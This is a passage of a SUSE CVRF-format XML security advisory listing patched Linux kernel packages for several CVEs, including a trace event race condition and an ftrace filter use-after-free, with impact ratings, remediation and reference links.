    <CVE>CVE-2025-38379</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-38379.html</URL>
        <Description>CVE-2025-38379</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1247030</URL>
        <Description>SUSE Bug 1247030</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="10">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

tracing: Add down_write(trace_event_sem) when adding trace event

When a module is loaded, it adds trace events defined by the module. It
may also need to modify the modules trace printk formats to replace enum
names with their values.

If two modules are loaded at the same time, the adding of the event to the
ftrace_events list can corrupt the walking of the list in the code that is
modifying the printk format strings and crash the kernel.

The addition of the event should take the trace_event_sem for write while
it adds the new event.

Also add a lockdep_assert_held() on that semaphore in
__trace_add_event_dirs() as it iterates the list.</Note>
    </Notes>
    <CVE>CVE-2025-38539</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amazon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-amlogic-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-apple-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-arm-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-broadcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-cavium-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-exynos-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-freescale-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-hisilicon-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-lg-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-marvell-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-mediatek-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-nvidia-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-qcom-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-renesas-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-rockchip-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-socionext-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-sprd-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-xilinx-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-64kb-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-debug-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-base-rebuild-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-extra-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-optional-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-default-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-docs-html-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-kvmsmall-vdso-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-obs-qa-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-source-vanilla-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:kselftests-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
      </Status>
    </ProductStatuses>
    <Threats>
      <Threat Type="Impact">
        <Description>important</Description>
      </Threat>
    </Threats>
    <Remediations>
      <Remediation Type="Vendor Fix">
        <Description xml:lang="en">To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or "zypper patch".
</Description>
        <URL>https://www.suse.com/support/update/announcement/2026/suse-su-20260471-1/</URL>
      </Remediation>
    </Remediations>
    <References>
      <Reference>
        <URL>https://www.suse.com/security/cve/CVE-2025-38539.html</URL>
        <Description>CVE-2025-38539</Description>
      </Reference>
      <Reference>
        <URL>https://bugzilla.suse.com/1248211</URL>
        <Description>SUSE Bug 1248211</Description>
      </Reference>
    </References>
  </Vulnerability>
  <Vulnerability xmlns="http://www.icasi.org/CVRF/schema/vuln/1.1" Ordinal="11">
    <Notes>
      <Note Title="Vulnerability Description" Type="General" Ordinal="1" xml:lang="en">In the Linux kernel, the following vulnerability has been resolved:

ftrace: Also allocate and copy hash for reading of filter files

Currently the reader of set_ftrace_filter and set_ftrace_notrace just adds
the pointer to the global tracer hash to its iterator. Unlike the writer
that allocates a copy of the hash, the reader keeps the pointer to the
filter hashes. This is problematic because this pointer is static across
function calls that release the locks that can update the global tracer
hashes. This can cause UAF and similar bugs.

Allocate and copy the hash for reading the filter files like it is done
for the writers. This not only fixes UAF bugs, but also makes the code a
bit simpler as it doesn't have to differentiate when to free the
iterator's hash between writers and readers.</Note>
    </Notes>
    <CVE>CVE-2025-39689</CVE>
    <ProductStatuses>
      <Status Type="Fixed">
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-default-livepatch-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Live Patching 15 SP6:kernel-livepatch-6_4_0-150600_23_87-default-1-150600.13.3.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-64kb-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:kernel-zfcpdump-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server 15 SP6-LTSS:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:gfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-base-6.4.0-150600.23.87.1.150600.12.40.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-default-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-devel-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-docs-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-macros-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-obs-build-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-source-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:kernel-syms-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:ocfs2-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>SUSE Linux Enterprise Server for SAP Applications 15 SP6:reiserfs-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:cluster-md-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-64kb-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dlm-kmp-default-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-allwinner-6.4.0-150600.23.87.1</ProductID>
        <ProductID>openSUSE Leap 15.6:dtb-altera-6.4.0-150600.23.87.1</ProductID>
